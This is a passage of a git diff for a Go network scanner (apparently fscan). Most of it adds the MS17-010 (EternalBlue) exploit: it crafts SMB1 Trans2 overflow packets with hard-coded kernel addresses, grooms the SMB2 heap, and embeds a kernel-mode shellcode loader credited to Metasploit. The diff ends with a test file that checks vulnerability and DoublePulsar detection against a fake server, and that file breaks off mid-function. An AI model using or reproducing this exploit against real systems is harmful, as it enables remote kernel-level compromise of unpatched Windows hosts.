buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x01, 0x20}) + // process id high + buf.Write([]byte{0x00, 0x00}) + // signature + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // process id + buf.Write([]byte{0x2F, 0x4B}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0xC5, 0x5E}) + + // --------Tree Connect AndX Request-------- + + // word count + buf.WriteByte(0x04) + // AndXCommand: No further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndXOffset + buf.Write([]byte{0x00, 0x00}) + // flags + buf.Write([]byte{0x00, 0x00}) + // password length + buf.Write([]byte{0x01, 0x00}) + // byte count + buf.Write([]byte{0x1A, 0x00}) + // password + buf.WriteByte(0x00) + // IPC + host, _, err := net.SplitHostPort(address) + if err != nil { + return nil, err + } + _, _ = fmt.Fprintf(&buf, "\\\\%s\\IPC$", host) + // null byte after ipc added by kev + buf.WriteByte(0x00) + // service + buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) + + // update packet size + b := buf.Bytes() + sizeBuf := make([]byte, 4) + binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) + copy(b[1:], sizeBuf[1:]) + + // send packet + _, err = buf.WriteTo(conn) + if err != nil { + return nil, err + } + _, header, err := smb1GetResponse(conn) + return header, err +} + +func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { + transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) + if err != nil { + return fmt.Errorf("failed to send nt trans: %s", err) + } + // initial trans2 request + treeID := transHeader.TreeID + userID := transHeader.UserID + trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") + // send all but the last packet + for i := 1; i < 15; i++ { + packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") + trans2Packet = append(trans2Packet, packet...) + } + smb1EchoPacket := makeSMB1EchoPacket(treeID, userID) + trans2Packet = append(trans2Packet, smb1EchoPacket...) + + _, err = conn.Write(trans2Packet) + if err != nil { + return fmt.Errorf("failed to send large buffer: %s", err) + } + _, _, err = smb1GetResponse(conn) + return err +} + +func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x04, 0x38}) + + // --------Server Message Block Protocol-------- + + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // NT Trans + buf.WriteByte(0xA0) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------NT Trans Request-------- + + // word count + buf.WriteByte(0x14) + // max setup count + buf.WriteByte(0x01) + // reserved + buf.Write([]byte{0x00, 0x00}) + // total param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // total data count + buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) + // max param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // max data count + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // param offset + buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) + // data count + buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) + // data offset + buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) + // setup count + buf.WriteByte(0x01) + // function + buf.Write([]byte{0x00, 0x00}) + // unknown NT transaction (0) setup + buf.Write([]byte{0x00, 0x00}) + // byte count + buf.Write([]byte{0xEC, 0x03}) + // NT parameters + buf.Write(makeZero(0x1F)) + // undocumented + buf.WriteByte(0x01) + buf.Write(makeZero(0x03CD)) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return nil, err + } + _, header, err := smb1GetResponse(conn) + return header, err +} + +func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { + timeout = timeout*0x10 + 3 + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x10, 0x35}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Trans2 request + buf.WriteByte(0x33) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Trans2 Second Request-------- + + // word count + buf.WriteByte(0x09) + // total param count + buf.Write([]byte{0x00, 0x00}) + // total data count + buf.Write([]byte{0x00, 0x10}) + // max param count + buf.Write([]byte{0x00, 0x00}) + // max data count + buf.Write([]byte{0x00, 0x00}) + // max setup count + buf.WriteByte(0x00) + // reserved + buf.WriteByte(0x00) + // flags + buf.Write([]byte{0x00, 0x10}) + // timeouts + buf.Write([]byte{0x35, 0x00, 0xD0}) + // timeout is a single int + buf.WriteByte(byte(timeout)) + // reserved + buf.Write([]byte{0x00, 0x00}) + // parameter count + buf.Write([]byte{0x00, 0x10}) + + switch typ { + case "exploit": + // overflow + buf.Write(bytes.Repeat([]byte{0x41}, 2957)) + buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) + + buf.Write(makeZero(0x10)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x06)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x16)) + + // x86 addresses + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) + + // x64 addresses + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x04)) + + buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) + + buf.Write(makeZero(0x04)) + buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x10)) + + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x0C)) + buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x80, 0x10}) + buf.Write(makeZero(0x0E)) + buf.WriteByte(0x39) + buf.WriteByte(0xBB) + + buf.Write(bytes.Repeat([]byte{0x41}, 965)) + case "zero": + buf.Write(makeZero(2055)) + buf.Write([]byte{0x83, 0xF3}) + + buf.Write(bytes.Repeat([]byte{0x41}, 2039)) + default: + buf.Write(bytes.Repeat([]byte{0x41}, 4096)) + } + return buf.Bytes() +} + +func makeSMB1EchoPacket(treeID, userID uint16) []byte { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x31}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Echo + buf.WriteByte(0x2B) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Echo Request-------- + + // word count + buf.WriteByte(0x01) + // echo count + buf.Write([]byte{0x01, 0x00}) + // byte count + buf.Write([]byte{0x0C, 0x00}) + // echo data + // this is an existing IDS signature, and can be null out + buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) + + return buf.Bytes() +} + +func smb1FreeHole(address string, start bool) (net.Conn, error) { + conn, err := net.Dial("tcp", address) + if err != nil { + return nil, fmt.Errorf("failed to connect host: %s", err) + } + var ok bool + defer func() { + if !ok { + _ = conn.Close() + } + }() + err = smbClientNegotiate(conn) + if err != nil { + return nil, fmt.Errorf("failed to negotiate: %s", err) + } + var ( + flags2 []byte + vcNum []byte + nativeOS []byte + ) + if start { + flags2 = []byte{0x07, 0xC0} + vcNum = []byte{0x2D, 0x01} + nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00} + } else { + flags2 = []byte{0x07, 0x40} + vcNum = []byte{0x2C, 0x01} + nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} + } + packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) + _, err = conn.Write(packet) + if err != nil { + const format = "failed to send smb1 free hole session packet: %s" + return nil, fmt.Errorf(format, err) + } + _, _, err = smb1GetResponse(conn) + if err != nil { + return nil, err + } + ok = true + return conn, nil +} + +func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x51}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX + buf.WriteByte(0x73) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write(flags2) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Session Setup AndX Request-------- + + // word count + buf.WriteByte(0x0C) + // no further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndX offset + buf.Write([]byte{0x00, 0x00}) + // max buffer + buf.Write([]byte{0x04, 0x11}) + // max mpx count + buf.Write([]byte{0x0A, 0x00}) + // VC number + buf.Write(vcNum) + // session key + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // security blob length + buf.Write([]byte{0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // capabilities + buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) + // byte count + buf.Write([]byte{0x16, 0x00}) + // Native OS + buf.Write(nativeOS) + // extra byte params + buf.Write(makeZero(17)) + return buf.Bytes() +} + +func smb2Grooms(address string, grooms int) ([]net.Conn, error) { + header := makeSMB2Header() + var ( + conns []net.Conn + ok bool + ) + defer func() { + if ok { + return + } + for i := 0; i < len(conns); i++ { + _ = conns[i].Close() + } + }() + for i := 0; i < grooms; i++ { + conn, err := net.Dial("tcp", address) + if err != nil { + return nil, fmt.Errorf("failed to connect target: %s", err) + } + _, err = conn.Write(header) + if err != nil { + return nil, fmt.Errorf("failed to send SMB2 header: %s", err) + } + conns = append(conns, conn) + } + ok = true + return conns, nil +} + +func makeSMB2Header() []byte { + buf := bytes.Buffer{} + buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) + buf.WriteString("SMB") + buf.Write(makeZero(124)) + return buf.Bytes() +} + +const ( + packetMaxLen = 4204 + packetSetupLen = 497 +) + +func makeSMB2Body(payload []byte) []byte { + const packetMaxPayload = packetMaxLen - packetSetupLen + // padding + buf := bytes.Buffer{} + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x1C)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x74)) + + // KI_USER_SHARED_DATA addresses + x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + buf.Write(bytes.Repeat(x64Address, 2)) + buf.Write(makeZero(0x10)) + x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} + buf.Write(bytes.Repeat(x86Address, 2)) + buf.Write(makeZero(0xC4)) + + // payload address + buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x40)) + + buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.WriteByte(0x00) + + // set payload + buf.Write(payload) + + // fill out the rest, this can be randomly generated + buf.Write(makeZero(packetMaxPayload - len(payload))) + + return buf.Bytes() +} + +func makeZero(size int) []byte { + return bytes.Repeat([]byte{0}, size) +} + +// loader is used to run user mode sc in the kernel mode. +// reference Metasploit-Framework: +// file: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm +// binary: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc +var loader = [...]byte{ + 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, + 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, + 0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8, + 0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01, + 0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, + 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10, + 0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55, + 0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5, + 0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, + 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00, + 0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25, + 0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, + 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65, + 0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F, + 0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5, + 0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65, + 0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C, + 0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81, + 0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00, + 0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30, + 0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90, + 0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B, + 0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04, + 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89, + 0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB, + 0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89, + 0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49, + 0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24, + 0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D, + 0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31, + 0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC, + 0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B, + 0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00, + 0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03, + 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1, + 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48, + 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00, + 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, + 0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2, + 0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00, + 0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89, + 0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41, + 0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00, + 0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09, + 0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8, + 0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00, + 0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E, + 0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, + 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2, + 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12, + 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C, + 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39, + 0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52, + 0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, + 0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48, + 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39, + 0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, + 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59, + 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48, + 0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF, + 0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00, + 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF, + 0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3, +} diff --git a/plugins/services/ms17010_test.go b/plugins/services/ms17010_test.go new file mode 100644 index 0000000..87847df --- /dev/null +++ b/plugins/services/ms17010_test.go @@ -0,0 +1,195 @@ +//go:build plugin_ms17010 || !plugin_selective + +package services + +import ( + "bytes" + "context" + "net" + "testing" + "time" + + "github.com/shadow1ng/fscan/common" +) + +func TestMS17010LegacyRequestsDecodeToSMB1Packets(t *testing.T) { + requests := map[string][]byte{ + "negotiate": negotiateProtocolRequest, + "sessionSetup": sessionSetupRequest, + "treeConnect": treeConnectRequest, + "transNamedPipe": transNamedPipeRequest, + "trans2SessionSetup": trans2SessionSetupRequest, + } + + for name, request := range requests { + t.Run(name, func(t *testing.T) { + if len(request) < 36 { + t.Fatalf("request length = %d, want at least 36", len(request)) + } + if request[0] != 0x00 { + t.Fatalf("NetBIOS message type = 0x%02x, want 0x00", request[0]) + } + payloadLen := int(request[1])<<16 | int(request[2])<<8 | int(request[3]) + if payloadLen != len(request)-4 { + t.Fatalf("NetBIOS payload length = %d, want %d", payloadLen, len(request)-4) + } + if !bytes.Equal(request[4:8], []byte{0xff, 0x53, 0x4d, 0x42}) { + t.Fatalf("SMB signature = % x, want ff 53 4d 42", request[4:8]) + } + }) + } +} + +func TestMS17010CheckDetectsVulnerableStatus(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, true, 45) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if !vulnerable { + t.Fatal("expected vulnerable status to be detected") + } +} + +func TestMS17010CheckAcceptsMinimalSessionSetupResponse(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, true, 36) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if !vulnerable { + t.Fatal("expected vulnerable status to be detected") + } +} + +func TestMS17010CheckRejectsPatchedStatus(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, false, 45) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if vulnerable { + t.Fatal("expected patched status to be treated as not vulnerable") + } +} + +func TestMS17010CheckDetectsDoublePulsar(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, true, 45, withDoublePulsar()) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, hasBackdoor, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if !vulnerable { + t.Fatal("expected vulnerable status to be detected") + } + if !hasBackdoor { + t.Fatal("expected DOUBLEPULSAR status to be detected") + } +} + +func newMS17010TestSession() *common.ScanSession { + cfg := common.NewConfig() + cfg.Timeout = time.Second + return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) +} + +type ms17010FakeServerOption func(*ms17010FakeServerConfig) + +type ms17010FakeServerConfig struct { + doublePulsar bool +} + +func withDoublePulsar() ms17010FakeServerOption { + return func(cfg *ms17010FakeServerConfig) { + 